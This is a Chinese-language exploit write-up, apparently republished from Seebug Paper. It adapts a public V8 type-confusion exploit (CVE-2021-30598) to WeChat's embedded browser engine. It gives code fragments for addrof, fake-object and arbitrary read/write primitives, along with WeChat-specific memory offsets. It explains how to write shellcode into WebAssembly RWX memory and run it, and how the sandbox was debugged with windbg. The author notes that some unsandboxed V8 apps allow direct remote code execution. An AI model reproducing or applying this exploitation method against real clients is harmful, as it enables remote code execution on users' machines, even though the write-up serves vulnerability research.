在微信里搞個連接,他會自己幫我們轉成link。

image-20220314165920485

EXP分析

這個洞是cve-2021-30598 ,原exp:https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=513233 經測試,該exp在v8 < 9.1.0可以使用。首先我們來復習一下V8類型混淆漏洞的利用過程(如果對V8 exp的構造過程不了解,請參考@Hcamael 大神的幾篇文章

1、利用越界讀獲取double array map

2、利用obj array to double array構造任意變量地址讀。該漏洞沒有修改array map,而是通過double array覆蓋obj array,原理如圖所示:

image-20220314144612380

3、利用double array to obj array構造fake obj,實現任意地址讀寫。該漏洞同樣不是通過修改array map,而是通過堆疊array的方式

image-20220314145500497

4、把ArrayBuffer的buf_backing_store地址修改為WebAssembly.Instance的buf_backing_store,因為wasm申請的內存是可讀可寫可執行的。原exp沒有用這種方式,但是我覺得這種方式比較容易理解,所以把利用腳本改成了這種。

image-20220314150251712

下面分析一下實際環境中exp的改造過程遇到的問題,及解決方案

1、減少jit循環

在chromium下,過多的循環次數會造成崩潰,這與實驗環境不同(原exp循環10萬次),所以需要減少觸發jit的循環次數,既不能崩潰,又要觸發jit優化,經測試,leak_addr_helper、leak_array_map循環3000次,fake_obj_helper循環10000次為合理的次數。

2、地址長度

微信V8是32位的,而原exp為64位利用腳本,但是由于新版本V8地址壓縮的原因,地址長度不需要修改。

3、偏移量計算

由于實驗環境中可以使用%DebugPrint(),%SystemBreak()等方便的函數調試堆布局,而實際環境中沒法準確的下斷點,因此需要使用其他手段確定自己的堆布局是否正確。可以先在實驗環境調試,初步確定堆布局是什么樣的,再在要構造數據的前后布局錨點數據,以確定實際環境中自己讀取的數據是否正確。

leak_array_map:

...
let arr2 = new Array(10);//[1337.5, 1338.5, 1339.5]; // arr2 is of type double too
for (var i = 0; i < 10; i++) arr2[i] = i+1337.5;
...
//v0應該是arr2最后一個元素,即1346.5
    let v0 = iter.next();

    let v1 = iter.next();
...
var res = leak_array_map(true,arr,true);
let array_map_leak = res[1];
print("anchor data = 0x" + (ftoi(res[0])).toString(16) + " | " + res[0]); //這里alert出來,應該是1346.5
print("array_map_leak = 0x" + (ftoi(res[1])).toString(16) + " | "  +res[1]);

image-20220314153250764

addrof:

...  
let arr = new Array(3+30*(1+confused));
arr[0] = 0.5; 
let arr2 = new Array(5);    for (var idx = 0; idx < 5; idx+=1) arr2[idx]={}; 
arr2[1] = obj;
arr2[0] = 0x1337; //注意這里,arr2是個obj array,每個元素(地址)長32bit,arr是個double array,讀的時候每個元素長64bit,因此如果讀到正確的double,其低32bit應該是0x1337(小端存儲)
...
let f = leak_addr_helper(true, obj,true);
let n = ftoi(f);
let u = upper(n);
let l = lower(n);

if (l == (0x1337 << 1)) print("[*]lower data match"); //在v8里,small integer在內存里的值為實際值的兩倍,因此判斷的時候要乘2,即左移1位

...

image-20220314154258461

fake_obj_helper:

...
let arr = new Array(3+30*(1+confused));
arr[0] = 0; //這里有個細節,arr[0]賦值成small integer和obj對應的array map是相同的,但是的堆布局不同。smi更好構造堆布局
let arr2 = new Array(5);    for (var idx = 0; idx < 5; idx+=1) arr2[idx]=0.0; 
arr2[0] = val; //要讀取地址的obj
let iter = arr[Symbol.iterator]();
iter.next();iter.next();iter.next();
iter.next();
//v0應該是arr2的長度,即5
let v0 = iter.next();
let v1 = iter.next();
...
let f = itof(pair(addr,addr));
let res = fake_obj_helper(true,f,true);
print("[*]res[0]:"+res[0]); //這里應該是5
...

image-20220314155121448

至此堆疊array讀取時通過迭代器(iterator)讀取偏移量已經確定,還有一個問題,怎么確定buf_backing_store_addr相對ArrayBuffer和WebAssembly.Instance基地址的偏移量,雖然在實驗環境這個值可以通過%DebugPrint和讀內存輕松獲得,但是調試過程中發現,ubuntu 18.04下編譯的v8 8.1.307.32 32位的buf_backing_store_addr偏移量和微信的實際環境中的并不相同,不能拿過來直接用。

4、buf_backing_store_addr的兩個偏移量

首先確定WebAssembly.Instance的buf_backing_store_addr偏移量,因為由調試經驗知,wasm_instance創建后,堆上會多一塊唯一的可讀可寫可執行的內存,且由于堆上的內存塊0x1000字節對齊,該內存塊的地址是這樣的:0x***000,因此只需要

① 在wasm_instance申請內存前后通過alert阻塞住進程,通過windbg的!vadump命令(約等于pwndbg的vmmap)找到那塊多出來的可讀可寫可執行內存
② 我們已經有了任意變量地址讀,和任意地址讀,從wasm_instance的基地址開始,輸出基地址+i*8的內存,就能找到偏移量了

...
let wasm_instance_addr = addrof(wasmInstance);
for(var i = 0;i < 20;i++){
    print("i:"+i+"  data:"+read64(wasm_instance_addr+i*8).toString(16)); //000結尾的,且和windbg里RWX那塊內存地址相同的
}
...

(顯然是他)

image-20220314163919375

再確定ArrayBuffer的buf_backing_store_addr偏移量,因為wasm instance的偏移量已經確定了,由調試經驗知,ArrayBuffer的buf_backing_store地址以0結尾,同樣循環輸出,找到疑似的偏移量挨個嘗試即可,如果偏移量正確,以下代碼的第二個alert應該不會執行,因為偏移量正確時wasm里已經成功寫入我們的shellcode了,執行的是我們的shellcode;而偏移量不正確時wasm里是空的,f()會直接返回,什么都不發生,第二句alert成功執行

alert("[*] 寫代碼成功"+rwx_page.toString(16));
f();
alert("[*]執行完畢")

最后給出我調試的結論:

在微信最新版

ArrayBuffer的buf_backing_store_addr偏移量為:base_addr+0x10

WebAssembly.Instance的buf_backing_store_addr偏移量為:base_addr+0x40

5、怎么確定代碼流被控制到我們的shellcode了

經過以上4步,理論上我們的shellcode應該已經執行了,但是實際環境中,并沒有彈出計算器,那么怎么確定我們的shellcode是否成功執行了呢?經過上述的一頓操作,我們已經能夠知道可讀可寫可執行的內存地址是什么,這時就能通過windbg來調試我們的代碼了,以下是我的調試過程:

①在代碼執行前alert一下,卡住進程

image-20220303151938278

②windbg attach進程

image-20220303152113696

image-20220303152254640

image-20220303152335209

③內存下斷點,放過后點擊彈窗,讓進程繼續運行

image-20220303152509971

image-20220303152522053

斷在了我們寫入的內存:

image-20220303152605812

④因為shellcode是執行了system("calc.exe");,在msvcrt.dll!system 的入口處下斷點,繼續跑起來

image-20220303152755939

斷下了:

image-20220303152913936

kb命令看下參數:

image-20220303153010321

image-20220303153027735

入參設置沒問題,pt跑到函數返回:

image-20220303153111875

很可惜,system函數返回-1,代表執行失敗了,多次更換姿勢后推測是存在沙箱,需要借助一個穿沙箱的洞才能構造完整的利用鏈

結論

我們已經能夠控制代碼執行流到我們的shellcode,但是由于chromium的沙箱限制(看現象推測是沙箱,沒研究過沙箱具體實現所以不能確定,如有錯誤請指正),并不能彈出計算器,如果要構造完整的利用鏈還需要繞過windows的沙箱機制(chromium的沙箱用了windows的沙箱),但是本文作者發現有些使用V8引擎的應用是沒有沙箱限制的,可以直接實現無沙箱的遠程代碼執行,本文提供了實際環境中調試這種應用的思路。

廣告:https://github.com/lxraa/v8_exp 放一些已公開v8 poc的exp


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1848/